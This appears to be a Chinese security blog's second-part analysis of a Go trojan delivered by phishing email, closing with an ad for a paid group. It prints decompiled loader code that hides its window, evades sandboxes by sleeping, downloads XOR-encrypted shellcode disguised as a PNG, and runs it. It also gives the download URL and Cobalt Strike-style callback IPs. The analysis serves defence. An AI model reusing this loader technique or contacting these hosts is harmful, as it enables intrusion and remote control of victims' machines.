沙箱分析的结果并没有给出外联地址在上篇已经有提到,创建该文件的时候可能存在过沙箱的手法比如说延时--sleep现在只是一种猜测具体还需要去进行验证
依旧是从主函数入手
{main_Dlskfhoiuodgnr();main_Svngeuithbgehegds();if ( !v8 ){os_Exit(0LL);LABEL_16:runtime_deferreturn(v10);return;}v11 = main_Svfregtehbys((__int64)&byte_671B6B, 92LL);net_http_Get(v11, v13);if ( v13 ){main_checkErr();v0 = v18;}runtime_deferproc(24, *(_QWORD *)(v0 + 64) + 24LL);if ( !v1 ){v14 = runtime_convI2I((__int64)&RTYPE_io_Reader, *(_QWORD *)(v18 + 64), *(_QWORD *)(v18 + 72));io_ioutil_ReadAll();if ( *((_QWORD *)&v14 + 1) ){main_checkErr();v2 = v16;v3 = v19;}v15 = -205177814;for ( i = 0LL; i < v2; ++i ){if ( (unsigned __int64)(i % 4) >= 4 ){runtime_panicindex();BUG();}*(_BYTE *)(v3 + i) ^= *((_BYTE *)&v15 + i % 4);}v20 = runtime_newobject((__int64)&RTYPE__4_uintptr);((void (*)(void))loc_4554B4)();v5 = v20;*(_QWORD *)(v20 + 8) = v16;v17 = syscall__ptr_Proc_Call(qword_7B3338, v5, 4LL, 4LL);if ( !v17 )main_checkErr();v6 = (__int64 *)runtime_newobject((__int64)&RTYPE__3_uintptr);*v6 = v17;v7 = v16;if ( !v16 ){runtime_panicindex();BUG();}v6[1] = v19;v6[2] = v7;syscall__ptr_Proc_Call(qword_7B3330, (__int64)v6, 3LL, 3LL);main_checkErr();syscall_Syscall(v17, 0LL, 0, 0LL, 0LL);goto LABEL_16;}runtime_deferreturn(v9);}
void main_Dlskfhoiuodgnr(){main_Shvssvdsvfdsbewwerbggf(0LL);}void __golang main_Shvssvdsvfdsbewwerbggf(__int64 a1){github_com_gonutz_ide_w32_GetConsoleWindow();if ( v1 ){v4 = v1;github_com_gonutz_ide_w32_GetWindowThreadProcessId(v1);github_com_gonutz_ide_w32_GetCurrentProcessId();if ( v2 == v3 )github_com_gonutz_ide_w32_ShowWindowAsync(v4, a1);}}GetConsoleWindow()--返回值是与调用进程关联的控制台所使用的窗口的句柄;GetWindowThreadProcessId()--检索创建指定窗口的线程的标识符,以及创建该窗口的进程(可选)的标识符。GetCurrentProcessId--检索调用进程的进程标识符。ShowWindowAsync--显示/隐藏运行窗口总的来说main_Dlskfhoiuodgnr这个函数与上篇当中的main_Hvdf_HCzKr()的做法是一模一样为了隐藏自己的运行窗口
char main_Svngeuithbgehegds(){main_Gvfdsgreb();v6 = runtime_concatstring2(0LL, v2, v3, (__int64)&word_6653C2, 16LL);v8 = main_Gvnsaiubfdsg(v6, v7);v4 = main_Gvnsaiubfdsg((__int64)&word_66483A, 14LL);v0 = v8 <= 20;if ( v5 <= 5 )++v0;if ( v4 > 20 )v1 = v0;elsev1 = v0 + 1;if ( v5 <= 8 )++v1;if ( v1 >= 3 ){time_Sleep(180000000000LL);return 1;}else{if ( v1 == 2 )time_Sleep(120000000000LL);return 1;}}
__int128 main_Gvfdsgreb(){v5 = os_Getenv((__int64)&byte_66349B, 9LL);os_Getenv((__int64)&byte_663125, 8LL);v2 = runtime_concatstring2(0LL, v5);v0 = v3;v1 = v4;if ( !v4 ){v0 = os_Getenv((__int64)&dword_663C7C, 11LL);v1 = *((_QWORD *)&v2 + 1);}*(_QWORD *)&result = v0;*((_QWORD *)&result + 1) = v1;return result;}获取当前运行环境的环境变量
Dir = (_QWORD *)io_ioutil_ReadDir(a1, a2);{v14[0] = *(_QWORD *)(v10 + 8);v14[1] = v11;log_Fatal((__int64)v14, 1LL, 1LL);return 0LL;}else{while ( v4 < v3 ){v12 = v4;v13 = Dir;if ( (*(unsigned __int8 (__golang **)(_QWORD))(*Dir + 24LL))(Dir[1]) )}return result;}ReadDir--读取以传入值命名的文件
疑问为什么ida反编译出来的地址和我们运行时的一样?不是有内存地址随机吗?最简单的方法:PE文件结构当中可选头部的DllCharacteristics可以对地址随机化进行关闭通过CFF explorer打开可执行文件之后来到nt头部>可选头部>DllCharacteristics将其置为0即可也就是将DllCharacteristics当中的DYNAMIC_BASE属性改为0就可以关闭内存地址随机化,方便静态和动态调试相结合。
这里使用插件将常用的api进行下断
当我一直往下跟的时候发现卡住了,程序在运行中,但是无法继续往下跟,那么就是木马进行了延时找一下它是怎么进行判断并且返回的
从ida找到了 time_sleep的地址4462A0到xdebug下断点
可以直接让他在进入time_sleep的这块内存时就让其return
另存到桌面ttt.exe之后再将其丢到沙箱去分析
1312459886.cos.ap-guangzhou.myqcloud.com
那么有可能这是远程获取shellcode伪装成的图片
将样本下载回来另存为1.bin,通过010打开查看一下发现是有明显的加密,不是一个正常的图片,那么基本可以确定是一个🐎
shellcode可以利用工具伪装成图片 https://github.com/Mr-Un1k0d3r/DKMC 然后在从图片当中读取shellcode Shellcode下载地址:https://ksu-1312459886.cos.ap-guangzhou.myqcloud.com/logo_320x320.png
接下来对传入进来的shellcode进行xor解密
在这里有一个问题,在分析到这里的时候已经已经过去了两周了,cs的地址估计是关停了,我在分析的时候导致shellcode执行的有问题,跟进不下去。后面的图片是部门大佬分析时的截图。开始执行解密后的shellcode
将木马进行内存加载
初始化回连地址,并设置Host为apimusic.163.com,通过自己构造https请求与服务端完成通讯。获得的回连地址有 https://61.139.65.249:443 https://112.3.31.147:443
最近因为一些项目上的事情,导致一直没有时间将下篇完善,中间也因为shellcode的加载思考分析的烧脑壳。ida对木马的反编译有些没有编译到,需要手动自己对符号表进行恢复,github上面有工具,这里就不放出来了。这次的钓鱼邮件分析也就到这里结束了,各位师傅如果觉得有问题的地方,可以提出来一起探讨一下。
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读